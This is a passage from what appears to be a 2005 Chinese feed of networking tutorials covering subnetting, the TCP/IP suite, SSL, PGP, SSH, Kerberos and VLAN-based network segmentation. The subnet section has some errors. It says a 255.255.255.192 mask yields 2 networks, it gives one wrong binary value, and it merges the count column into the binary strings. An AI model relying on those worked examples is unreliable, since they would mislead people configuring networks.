<P>在预设的NetMask都只有255的值,在谈到SubnetMask时这个值 便不一定是255了。 </P>
<P>在完整一组CClass中如203.67.10.0-203.67.10.255NetMask255.255.255.0, 203.67.10.0称之NetworkNumber(将IPAddress和Netmask作AND),而 203.67.10.255是Broadcast的IPAddress,所以这?两者皆不能使用,实 际只能使用203.67.10.1--203.67.10.254等254个IPAddress,这是以 255.255.255.0作NetMask的结果,而所谓SubnetMsk尚可将整组C Class分成数组NetworkNumber,这要在NEtMask作手脚,若是要将 整组CCLass分成2个NetworkNumber那NetMask设定为255.255.255.192, 若是要将整组CCLass分成8组NetworkNumber则NetMask要为 255.255.255.224,这是怎麽来的,由以上知道NetworkNumber是由IP Address和NetMask作AND而来的,而且将NetMask以二进位表示 法知道是1的会保留,而为0的去掉 </P>
<P>&nbsp;</P>
<P>192.10.10.193--11000000.00001010.00001010.10000001 </P>
<P>255.255.255.0--11111111.11111111.11111111.00000000 </P>
<P>-------------------------------------------------------------- </P>
<P>192.10.10.0--11000000.00001010.00001010.00000000 </P>
<P>&nbsp;</P>
<P>以上是以255.255.255.0为NetMask的结果,NetworkNumber是192.10.10.0, 若是使用255.255.255.224作NetMask结果便有所不同 </P>
<P>&nbsp;</P>
<P>192.10.10.193--11000000.00001010.00001010.10000000 </P>
<P>255.255.255.224--11111111.11111111.11111111.11100000 </P>
<P>-------------------------------------------------------------- </P>
<P>192.10.10.192--11000000.00001010.00001010.10000000 </P>
<P>&nbsp;</P>
<P>此时NetworkNumber变成了192.10.10.192,这便是Subnet。 </P>
<P>那要如何决定所使用的NetMask,255.255.255.224以二进位表示 法为11111111.11111111.11111111.11100000,变化是在最後一组,11100000 便是224,以三个Bit可表示2的3次方便是8个NetworkNumber </P>
<P>NetMask二进位表示法可分几个Network </P>
<P>&nbsp;</P>
<P>255.255.255.0 11111111.11111111.11111111.000000001 </P>
<P>255.255.255.128 11111111.11111111.11111111.100000002 </P>
<P>255.255.255.192 11111111.11111111.11111111.110000004 </P>
<P>255.255.255.224 11111111.11111111.11111111.111000008 </P>
<P>255.255.255.240 11111111.11111111.11111111.1111000016 </P>
<P>255.255.255.248 11111111.11111111.11111111.1111100032 </P>
<P>255.255.255.252 11111111.11111111.11111111.1111110064 </P>
<P>&nbsp;</P>
<P>以下使用255.255.255.224将C　Class203.67.10.0分成8组NetworkNumber,各 个NetworkNumber及其BroadcastIPAddress及可使用之IPAddress </P>
<P>&nbsp;</P>
<P>序号NetworkNumberBroadcast可使用之IPAddress </P>
<P>1 203.67.10.0 203.67.10.31 203.67.10.1-203.67.10.30 </P>
<P>2 203.67.10.32 203.67.10.63 203.67.10.33-203.67.10.62 </P>
<P>3 203.67.10.64 203.67.10.95 203.67.10.65-203.67.10.94 </P>
<P>4 203.67.10.96 203.67.10.127 203.67.10.97-203.67.10.126 </P>
<P>5 203.67.10.128 203.67.10.159 203.67.10.129-203.67.10.158 </P>
<P>6 203.67.10.160 203.67.10.191 203.67.10.161-203.67.10.190 </P>
<P>7 203.67.10.192 203.67.10.223 203.67.10.193-203.67.10.222 </P>
<P>8 203.67.10.224 203.67.10.255 203.67.10.225-203.67.10.254 </P>
<P>&nbsp;</P>
<P>可验证所使用的IPAddress是否如上表所示 </P>
<P>203.67.10.115--11001011.01000011.00001010.01110011 </P>
<P>255.255.255.224--11111111.11111111.11111111.11100000 </P>
<P>-------------------------------------------------------------- </P>
<P>203.67.10.96--11001011.01000011.00001010.01100000 </P>
<P>203.67.10.55--11001011.01000011.00001010.00110111 </P>
<P>255.255.255.224--11111111.11111111.11111111.11100000 </P>
<P>-------------------------------------------------------------- </P>
<P>203.67.10.32--11001011.01000011.00001010.00100000 </P>
<P>&nbsp;</P>
<P>其他的NetMask所分成的NetworkNumber可自行以上述方法自行推演出来。 </P>
<P>Subnet的应用 </P>
<P>使用Subnet是要解决只有一组CClass但需要数个NetworkNumber的问题,并不是解决IPAddress不够用的问题,因为使用 Subnet反而能使用的IPAddress会变少,Subnet通常是使用在总公司在台北,但分公司在台中,两者之间使用Router连线 ,同时也上Internet,但只申请到一组CCLassIPAddress,过Router又需不同的Network,所以此时就必须使用到Subnet,当然二 办公司间可以RemoteBridge连接,那便没有使用Subnet的问题,这点在此不讨论,所以在以上情况下的网路连线架 构及IPAddress的使用 </P>
<P>TCP/IP（传输控制协议/网间协议）是一种网络通信协议，它规范了网络上的所有通信设备，尤其是一个主机与另一个主机之间的数据往来格式以及传送方式。TCP/IP是INTERNET的基础协议，也是一种电脑数据打包和寻址的标准方法。在数据传送中，可以形象地理解为有两个信封，TCP和IP就像是信封，要传递的信息被划分成若干段，每一段塞入一个TCP信封，并在该信封面上记录有分段号的信息，再将TCP信封塞入IP大信封，发送上网。在接受端，一个TCP软件包收集信封，抽出数据，按发送前的顺序还原，并加以校验，若发现差错，TCP将会要求重发。因此，TCP/IP在INTERNET中几乎可以无差错地传送数据。 </P>
<P>在任何一个物理网络中,各站点都有一个机器可识别的地址,该地址叫做物理地址.物理地址有两个特点: </P>
<P>物理地址的长度,格式等是物理网络技术的一部分,物理网络不同,物理地址也不同. </P>
<P>同一类型不同网络上的站点可能拥有相同的物理地址. </P>
<P>以上两点决定了,不能用物理网络进行网间网通讯. </P>
<P>在网络术语中，协议中，协议是为了在两台计算机之间交换数据而预先规定的标准。TCP/IP并不是一个而是许多协议，这就是为什么你经常听到它代表一个协议集的原因，而TCP和IP只是其中两个基本协议而已。 </P>
<P>你装在计算机-的TCP/IP软件提供了一个包括TCP、IP以及TCP/IP协议集中其它协议的工具平台。特别是它包括一些高层次的应用程序和FTP(文件传输协议)，它允许用户在命令行上进行网络文件传输。 </P>
<P>TCP/IP是美国政府资助的高级研究计划署(ARPA)在二十世纪七十年代的一个研究成果，用来使全球的研究网络联在一起形成一个虚拟网络，也就是国际互联网。原始的Internet通过将已有的网络如ARPAnet转换到TCP/IP上来而形成，而这个Internet最终成为如今的国际互联网的骨干网。 </FONT></P></TD></TR>
<TR>
<TD>　</TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=3 width="96%" align=center border=0>
<TBODY>
<TR>
<TD><FONT class=f14 id=zoom>
<P></P>
<P>如今TCP/IP如此重要的原因，在于它允许独立的网格加入到Internet或组织在一起形成私有的内部网（Intranet）。构成内部网的每个网络通过一种-做路由器或IP路由器的设备在物理上联接在一起。路由器是一台用来从一个网络到另一个网络传输数据包的计算机。在一个使用TCP/IP的内部网中，信息通过使用一种独立的叫做IP包（IPpacket）或IP数据报(IPdatagrams)的数据单元进--传输。TCP/IP软件使得每台联到网络上的计算机同其它计算机“看”起来一模一样，事实上它隐藏了路由器和基本的网络体系结构并使其各方面看起来都像一个大网。如同联入以太网时需要确认一个48位的以太网地址一样，联入一个内部网也需要确认一个32位的IP地址。我们将它用带点的十进制数表示，如128.10.2.3。给定一个远程计算机的IP地址，在某个内部网或Internet上的本地计算机就可以像处在同一个物理网络中的两台计算机那样向远程计算机发送数据。 </P>
<P>TCP/IP提供了一个方案用来解决属于同一个内部网而分属不同物理网的两台计算机之间怎样交换数据的问题。这个方案包括许多部分，而TCP/IP协议集的每个成员则用来解决问题的某一部分。如TCP/IP协议集中最基本的协议-IP协议用来在内部网中交换数据并且执行一项重要的功能：路由选择－－选择数据报从A主机到B主机将要经过的路径以及利用合适的路由器完成不同网络之间的跨越（hop）。 </P>
<P>TCP是一个更高层次的它允许运行在在不同主机上的应用程序相互交换数据流。TCP将数据流分成小段叫做TCP数据段（TCPsegments），并利用IP协议进行传输。在大多数情况下，每个TCP数据段装在一个IP数据报中进行发送。但如需要的话，TCP将把数据段分成多个数据报，而IP数据报则与同一网络不同主机间传输位流和字节流的物理数据帧相容。由于IP并不能保证接收的数据报的顺序相一致，TCP会在收信端装配TCP数据段并形成一个不间断的数据流。FTP和Telnet就是两个非常流行的依靠TCP的TCP/IP应用程序。 </P>
<P>另一个重要的TCP/IP协议集的成员是用户数据报协议(UDP)，它同TCP相似但比TCP原始许多。TCP是一个可靠的协议，因为它有错误检查和握手确认来保证数据完整的到达目的地。UDP是一个“不可靠”的协议，因为它不能保证数据报的接收顺序同发送顺序相同，甚至不能保证它们是否全部到达。如果有可靠性要求，则应用程序避免使用它。同许多TCP/IP工具同时提供的SNMP(简单网络管理协议)就是一个使用UDP协议的应用例子。 </P>
<P>其它TCP/IP协议在TCP/IP网络中工作在幕后，但同样也发挥着重要作用。例如地址转换协议(ARP)将IP地址转换为物理网络地址如以太网地址。而与其对应的反向地址转换协议(RARP)做相反的工作，即将物理网络地址转换为IP地址。网际控制报文协议(ICMP)则是一个支持性协议，它利用IP完成IP数据报在传输时的控制信息和错误信息的传输。例如，如果一个路由器不能向前发送一个IP数据报，它就会利用ICMP来告诉发送者这里出现了问题。 </P>
<P>网络设计者在解决网络体系结构时经常使用ISO/OSI（ 国际标准化组织/开放系统互连）七层模型，该模型每 一层代表一定层次的网络功能。最下面是物理层，它 代表着进行数据转输的物理介质，换句话说，即网络 电缆。其上是数据链路层，它通过网络接口卡提供服 务。最上层是应用层，这里运行着使用网络服务的应 用程序。 </P>
<P>TCP/IP是同ISO/OSI模型等价的。当一个数据单元 从网络应用程序下流到网络接口卡，它通过了一列的TCP/IP 模块。这其中的每一步，数据单元都会同网络另一端 对等TCP/IP模块所需的信息一起打成包。这样当数据最 终传到网卡时，它成了一个标准的以太帧(假设物理 网络是以太网)。而接收端的TCP/IP软件通过剥去以太网 帧并将数据向上传输过TCP/IP栈来为处于接收状态的应 用程序重新恢复原始数据(一种最好的了解TCP/IP工作实 质的方法，是使用探测程序来观察网络中的到处流动 的帧中被不同TCP/IP模块所加上的信息)。 </P>
<P>为了勾勒TCP/IP在现实网络世界中所扮演的角色， 请考虑当使用HTTP(超文本传输协议)的Web浏览器从连接 在Internet上的Web服务器上获取一页HTML数据时所发生的情 况。为形成同Web服务器的虚链路，浏览器使用一种被 抽象地称为套接口(socket)的高层软件。为了获 取Web页，它通过向套接口向套接口写入HTTPGET命令来向Web 服务器发出该指令。接下来套接口软件使用TCP协议向 Web服务器发出包含GET命令的字节流和位流，TCP将数据 分段并将各独立段传到IP模块，该模块将数据段转换 成数据报并发送给Web服务器。 </P>
<P>如果浏览器和服务器运--在不同物理网络的计 算机上(一般情况如此)，数据报从一个网络传到另一 个网络，直到抵达服务器所在的那个网。最终，数据 被传输到目的地址并被重新装配，这样Web服务器通过 读自己的套接口来获得数据主干，并进而查看连续的 数据流。对浏览器和服务器来说，数据在这一端写入 套接口而在另一端出现如同魔术一般，但这只是底 下发生的各种复杂的交互，它创造了数据经过网络无 缝传输的假象。 </P>
<P>这就是TCP/IP所做的：将许多小网联成一个大网。 并在这个大网也就是Internet上提供应用程序所需要的 相互通信的服务。 </P>
<P>评论： </P>
<P>对于TCP/IP有许多可谈的，但这里仅讲三个关键 点： </P>
<P>·TCP/IP是一族用来把不同的物理网络联在一 起构成网际网的协议。TCP/IP联接独立的网络形成一个 虚拟的网，在网内用来确认各种独立的不是物理网络 地址，而是IP地址。 </P>
<P>·TCP/IP使用多层体系结构，该结构清晰定义了 每个协议的责任。TCP和UDP向网络应用程序提供了高层 的数据传输服务，并都需要IP来传输数据包。IP有责任 为数据包到达目的地选择合适的路由。 </P>
<P>·在Internet主机上，两个运行着的应用程序之 间传送要通过主机的TCP/IP堆栈上下移动。在发送端TCP/IP 模块加在数据上的信息将在接收端对应的TCP/IP模块上 滤掉，并将最终恢复原始数据。 </P>
<P>如果你有兴趣学习更多的TCP/IP知识，这里有两个 较高层次的信息源RFC(RequestforComment)1180——叫做“TCP/IP Tutorial”的文档，你可以从许多普及的RFC的Internet节点上 下载。另一个是InternetworkingwithTCP/IP的第一卷：Principles，Protocols，and Architectures，作者DouglasE.Comer(1995，Prentice-Hall)。作为该系三部 曲中的第一部分，许多人把看成是一本TCP/IP圣经。（原 文刊载于Vol.15No.20）</P>
<P>二、传输层的安全性 </P>
<P>在Internet应用编程序中，通常使用广义的进程间通信(IPC)机制来与不同层次的安全协议打交道。比较流行的两个IPC编程界面是BSD Sockets和传输层界面(TLI)，在Unix系统V命令里可以找到。 </P>
<P>在Internet中提供安全服务的首先一个想法便是强化它的IPC界面，如BSD Sockets等，具体做法包括双端实体的认证，数据加密密钥的交换等。Netscape通信公司遵循了这个思路，制定了建立在可靠的传输服务(如TCP/IP所提供)基础上的安全套接层协议(SSL)。SSL版本3(SSL v3)于1995年12月制定。它主要包含以下两个协议： </P>
<P>SSL记录协议 它涉及应用程序提供的信息的分段、压缩、数据认证和加密。SSL v3提供对数据认证用的MD5和SHA以及数据加密用的R4和DES等的支持，用来对数据进行认证和加密的密钥可以通过SSL的握手协议来协商。 </P>
<P>SSL握手协议 用来交换版本号、加密算法、(相互)身份认证并交换密钥。SSL v3 提供对Deffie-Hellman密钥交换算法、基于RSA的密钥交换机制和另一种实现在 Fortezza chip上的密钥交换机制的支持。 </P>
<P>Netscape通信公司已经向公众推出了SSL的参考实现(称为SSLref)。另一免费的SSL实现叫做SSLeay。SSLref和SSLeay均可给任何TCP/IP应用提供SSL功能。Internet号码分配当局(IANA)已经为具备SSL功能的应用分配了固定端口号，例如，带SSL的 HTTP(https)被分配的端口号为443，带SSL的SMTP(ssmtp)被分配的端口号为465，带SSL的NNTP(snntp)被分配的端口号为563。 </P>
<P>微软推出了SSL2的改进版本称为PCT(私人通信技术)。至少从它使用的记录格式来看，SSL和PCT是十分相似的。它们的主要差别是它们在版本号字段的最显著位(The Most Significant Bit)上的取值有所不同: SSL该位取0，PCT该位取1。这样区分之后，就可以对这两个协议都给以支持。 </P>
<P>1996年4月，IETF授权一个传输层安全(TLS)工作组着手制定一个传输层安全协议(TLSP)，以便作为标准提案向IESG正式提交。TLSP将会在许多地方酷似SSL。 </P>
<P>前面已介绍Internet层安全机制的主要优点是它的透明性，即安全服务的提供不要求应用层做任何改变。这对传输层来说是做不到的。原则上，任何TCP/IP应用，只要应用传输层安全协议，比如说SSL或PCT，就必定要进行若干修改以增加相应的功能，并使用(稍微)不同的IPC界面。于是，传输层安全机制的主要缺点就是要对传输层IPC界面和应用程序两端都进行修改。可是，比起Internet层和应用层的安全机制来，这里的修改还是相当小的。另一个缺点是，基于UDP的通信很难在传输层建立起安全机制来。同网络层安全机制相比，传输层安全机制的主要优点是它提供基于进程对进程的(而不是主机对主机的)安全服务。这一成就如果再加上应用级的安全服务，就可以再向前跨越一大步了。 </P>
<P>三、应用层的安全性 </P>
<P>必须牢记(且须仔细品味): 网络层(传输层)的安全协议允许为主机(进程)之间的数据通道增加安全属性。本质上，这意味着真正的(或许再加上机密的)数据通道还是建立在主机(或进程)之间，但却不可能区分在同一通道上传输的一个具体文件的安全性要求。比如说，如果一个主机与另一个主机之间建立起一条安全的IP通道，那么所有在这条通道上传输的IP包就都要自动地被加密。同样，如果一个进程和另一个进程之间通过传输层安全协议建立起了一条安全的数据通道，那么两个进程间传输的所有消息就都要自动地被加密。 </P>
<P>如果确实想要区分一个具体文件的不同的安全性要求，那就必须借助于应用层的安全性。提供应用层的安全服务实际上是最灵活的处理单个文件安全性的手段。例如一个电子邮件系统可能需要对要发出的信件的个别段落实施数据签名。较低层的协议提供的安全功能一般不会知道任何要发出的信件的段落结构，从而不可能知道该对哪一部分进行签名。只有应用层是唯一能够提供这种安全服务的层次。 </P>
<P>一般来说，在应用层提供安全服务有几种可能的做法，第一个想到的做法大概就是对每个应用(及应用协议)分别进行修改。一些重要的TCP/IP应用已经这样做了。在RFC 1421至1424中，IETF规定了私用强化邮件(PEM)来为基于SMTP的电子邮件系统提供安全服务。由于种种理由，Internet业界采纳PEM的步子还是太慢，一个主要的原因是PEM依赖于一个既存的、完全可操作的PKI(公钥基础结构)。PEM PKI是按层次组织的，由下述三个层次构成: </P>
<P>顶层为Internet安全政策登记机构(IPRA) </P>
<P>次层为安全政策证书颁发机构(PCA) </P>
<P>底层为证书颁发机构(CA) </P>
<P>建立一个符合PEM规范的PKI也是一个政治性的过程，因为它需要多方在一个共同点上达成信任。不幸的是，历史表明，政治性的过程总是需要时间的，作为一个中间步骤，Phil Zimmermann开发了一个软件包，叫做PGP(pretty Good Privacy)。PGP符合PEM的绝大多数规范，但不必要求PKI的存在。相反，它采用了分布式的信任模型，即由每个用户自己决定该信任哪些其他用户。因此，PGP不是去推广一个全局的PKI，而是让用户自己建立自己的信任之网。这就立刻产生一个问题，就是分布式的信任模型下，密钥废除了怎么办。 </P>
<P>S-HTTP是Web上使用的超文本传输协议(HTTP)的安全增强版本，由企业集成技术公司设计。S-HTTP提供了文件级的安全机制，因此每个文件都可以被设成私人/签字状态。用作加密及签名的算法可以由参与通信的收发双方协商。S-HTTP提供了对多种单向散列(Hash)函数的支持，如: MD2，MD5及SHA; 对多种单钥体制的支持，如：DES，三元DES，RC2，RC4，以及CDMF; 对数字签名体制的支持，如: RSA和DSS。 </P>
<P>目前还没有Web安全性的公认标准。这样的标准只能由WWW Consortium，IETF或其他有关的标准化组织来制定。而正式的标准化过程是漫长的，可能要拖上好几年，直到所有的标准化组织都充分认识到Web安全的重要性。S-HTTP和SSL是从不同角度提供Web的安全性的。S-HTTP对单个文件作"私人/签字"之区分，而SSL则把参与通信的相应进程之间的数据通道按"私用"和"已认证"进行监管。Terisa公司的SecureWeb工具软件包可以用来为任何Web应用提供安全功能。该工具软件包提供有 RSA数据安全公司的加密算法库，并提供对SSL和S-HTTP的全面支持。 </P>
<P>另一个重要的应用是电子商务，尤其是信用卡交易。为使Internet上的信用卡交易安全起见，MasterCard公司(同IBM，Netscape，GTE和Cybercash一道) 制定了安全电子付费协议(SEPP)，Visa国际公司和微软(和其他一些公司一道)制定了安全交易技术(STT)协议。同时，MasterCard，Visa国际和微软已经同意联手推出Internet上的安全信用卡交易服务。他们发布了相应的安全电子交易(SET)协议，其中规定了信用卡持卡人用其信用卡通过Internet进行付费的方法。这套机制的后台有一个证书颁发的基础结构，提供对X.509证书的支持。 </P>
<P>上面提到的所有这些加安全功能的应用都会面临一个主要的问题，就是每个这样的应用都要单独进行相应的修改。因此，如果能有一个统一的修改手段，那就好多了。通往这个方向的一个步骤就是赫尔辛基大学的Tatu Yloenen开发的安全shell(SSH)。SSH允许其用户安全地登录到远程主机上，执行命令，传输文件。它实现了一个密钥交换协议，以及主机及客户端认证协议。SSH有当今流行的多种Unix系统平台上的免费版本，也有由Data Fellows公司包装上市的商品化版本。 </P>
<P>把SSH的思路再往前推进一步，就到了认证和密钥分配系统。本质上，认证和密钥分配系统提供的是一个应用编程界面(API)，它可以用来为任何网络应用程序提供安全服务，例如: 认证、数据机密性和完整性、访问控制以及非否认服务。目前已经有一些实用的认证和密钥分配系统，如: MIT的Kerberos(V4与V5)，IBM的CryptoKnight和Netwrok Security Program，DEC的SPX，Karlsruhe大学的指数安全系统(TESS)等，都是得到广泛采用的实例。甚至可以见到对有些认证和密钥分配系统的修改和扩充。例如，SESAME和OSF DCE对Kerberos V5作了增加访问控制服务的扩充，Yaksha对Kerberos V5作了增加非否认服务的扩充。 </P>
<P>关于认证和密钥分配系统的一个经常遇到的问题是关于它们在Internet上所受到的冷遇。一个原因是它仍要求对应用本身做出改动。考虑到这一点，对一个认证和密钥分配系统来说，提供一个标准化的安全API就显得格外重要。能做到这一点，开发人员就不必再为增加很少的安全功能而对整个应用程序大动手术了。因此，认证系统设计领域内最主要的进展之一就是制定了标准化的安全API，即通用安全服务API(GSS-API)。GSS-API(v1及v2)对于一个非安全专家的编程人员来说可能仍显得过于技术化了些，但德州Austin大学的研究者们开发的安全网络编程(SNP)，把界面做到了比GSS-API更高的层次，使同网络安全性有关的编程更加方便了。 </P>
<P>局域网在网络层有什么不安全的地方？ </P>
<P>不安全的地方 </P>
<P>由于局域网中采用广播方式，因此，若在某个广播域中可以侦听到所有的信息包，黑客就对可以对信息包进行分析，那么本广播域的信息传递都会暴露在黑客面前。 </P>
<P>网络分段 </P>
<P>网络分段是保证安全的一项重要措施，同时也是一项基本措施，其指导思想在于将非法用户与网络资源相互隔离，从而达到限制用户非法访问的目的。 </P>
<P>网络分段可分为物理分段和逻辑分段两种方式： </P>
<P>物理分段通常是指将网络从物理层和数据链路层（ISO/OSI模型中的第一层和第二层）上分为若干网段，各网段相互之间无法进行直接通讯。目前，许多交换机都有一定的访问控制能力，可实现对网络的物理分段。逻辑分段则是指将整个系统在网络层（ISO/OSI模型中的第三层）上进行分段。例如，对于TCP/IP网络，可把网络分成若干IP子网，各子网间必须通过路由器、路由交换机、网关或防火墙等设备进行连接，利用这些中间设备（含软件、硬件）的安全机制来控制各子网间的访问。在实际应用过程中，通常采取物理分段与逻辑分段相结合的方法来实现对网络系统的安全性控制。 </P>
<P>VLAN的实现 </P>
<P>虚拟网技术主要基于近年发展的局域网交换技术(ATM和以太网交换)。交换技术将传统的基于广播的局域网技术发展为面向连接的技术。因此，网管系统有能力限制局域网通讯的范围而无需通过开销很大的路由器。 </P>
<P>以太网从本质上基于广播机制，但应用了交换器和VLAN技术后，实际上转变为点到点通讯，除非设置了监听口，信息交换也不会存在监听和插入（改变）问题。 </P>
<P>由以上运行机制带来的网络安全的好处是显而易见的： </P>
<P>信息只到达应该到达的地点。因此、防止了大部分基于网络监听的入侵手段。 </P>
<P>通过虚拟网设置的访问控制，使在虚拟网外的网络节点不能直接访问虚拟网内节点。 </P>
<P>但是，虚拟网技术也带来了新的安全问题： </P>
<P>执行虚拟网交换的设备越来越复杂，从而成为被攻击的对象。基于网络广播原理的入侵监控技术在高速交换网络内需要特殊的设置。基于MAC的VLAN不能防止MAC欺骗攻击。 </P>
<P>采用基于MAC的VLAN划分将面临假冒MAC地址的攻击。因此，VLAN的划分最好基于交换机端口。但这要求整个网络桌面使用交换端口或每个交换端口所在的网段机器均属于相同的VLAN。 </P>
<P>VLAN之间的划分原则 </P>
<P>VLAN的划分方式的目的是保证系统的安全性。因此，可以按照系统的安全性来划分VLAN;可以将总部中的服务器系统单独划作一个VLAN,如数据库服务器、电子邮件服务器等。也可以按照机构的设置来划分VLAN，如将领导所在的网络单独作为一个Leader VLAN(LVLAN), 其他司局（或下级机构）分别作为一个VLAN,并且控制LVLAN与其他VLAN之间的单向信息流向，即允许LVLAN查看其他VLAN的相关信息，其他VLAN不能访问LVLAN的信息。VLAN之内的连接采用交换实现， VLAN与VLAN之间采用路由实现。由于路由控制的能力有限，不能实现LVLAN与其他VLAN之间的单向信息流动，需要在LVLAN与其他VLAN之间设置一个Gauntlet防火墙作为安全隔离设备，控制VLAN与VLAN之间的信息交流。 </P></FONT></TD></TR></TBODY></TABLE>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_12.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:46:56 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=12</comments>
	</item>

	<item>
	<title>TCP/IP各层的安全性和提高各层安全性的方法</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_13.htm</link>
	<description><![CDATA[<TABLE cellSpacing=1 cellPadding=3 width="96%" align=center border=0>
<TBODY>
<TR>
<TD><FONT class=f14 id=zoom>
<TABLE cellSpacing=0 cellPadding=10 align=left border=0>
<TBODY>
<TR>
<TD><!--插入广告JS代码--></TD></TR></TBODY></TABLE>TCP/IP的层次不同提供的安全性也不同，例如，在网络层提供虚拟私用网络，在传输层提供安全套接服务。下面将分别介绍TCP/IP不同层次的安全性和提高各层安全性的方法。 
<P></P>
<P>一、Internet层的安全性 </P>
<P>对Internet层的安全协议进行标准化的想法早就有了。在过去十年里，已经提出了一些方案。例如，“安全协议3号(SP3)”就是美国国家安全局以及标准技术协会作为“安全数据网络系统(SDNS)”的一部分而制定的。“网络层安全协议(NLSP)”是由国际标准化组织为“无连接网络协议(CLNP)”制定的安全协议标准。“集成化NLSP(I-NLSP)”是美国国家科技研究所提出的包括IP和CLNP在内的统一安全机制。SwIPe是另一个Intenet层的安全协议，由Ioannidis和Blaze提出并实现原型。所有这些提案的共同点多于不同点。事实上，他们用的都是IP封装技术。其本质是，纯文本的包被加密，封装在外层的IP报头里，用来对加密的包进行Internet上的路由选择。到达另一端时，外层的IP报头被拆开，报文被解密，然后送到收报地点。 </P>
<P>Internet工程特遣组(IETF)已经特许Internet协议安全协议(IPSEC)工作组对IP安全协议(IPSP)和对应的Internet密钥管理协议(IKMP)进行标准化工作。IPSP的主要目的是使需要安全措施的用户能够使用相应的加密安全体制。该体制不仅能在目前通行的IP(IPv4)下工作，也能在IP的新版本(IPng或IPv6)下工作。该体制应该是与算法无关的，即使加密算法替换了，也不对其他部分的实现产生影响。此外，该体制必须能实行多种安全政策，但要避免给不使用该体制的人造成不利影响。按照这些要求，IPSEC工作组制订了一个规范：认证头(Authentication Header，AH)和封装安全有效负荷(Encapsulating Security Payload，ESP)。简言之，AH提供IP包的真实性和完整性，ESP提供机要内容。 </P>
<P>IP AH指一段消息认证代码(Message Authentication Code，MAC)，在发送IP包之前，它已经被事先计算好。发送方用一个加密密钥算出AH，接收方用同一或另一密钥对之进行验证。如果收发双方使用的是单钥体制，那它们就使用同一密钥；如果收发双方使用的是公钥体制，那它们就使用不同的密钥。在后一种情形，AH体制能额外地提供不可否认的服务。事实上，有些在传输中可变的域，如IPv4中的time-to-live域或IPv6中的hop limit域，都是在AH的计算中必须忽略不计的。RFC 1828首次规定了加封状态下AH的计算和验证中要采用带密钥的MD5算法。而与此同时，MD5和加封状态都被批评为加密强度太弱，并有替换的方案提出。 </P>
<P>IP ESP的基本想法是整个IP包进行封装，或者只对ESP内上层协议的数据(运输状态)进行封装，并对ESP的绝大部分数据进行加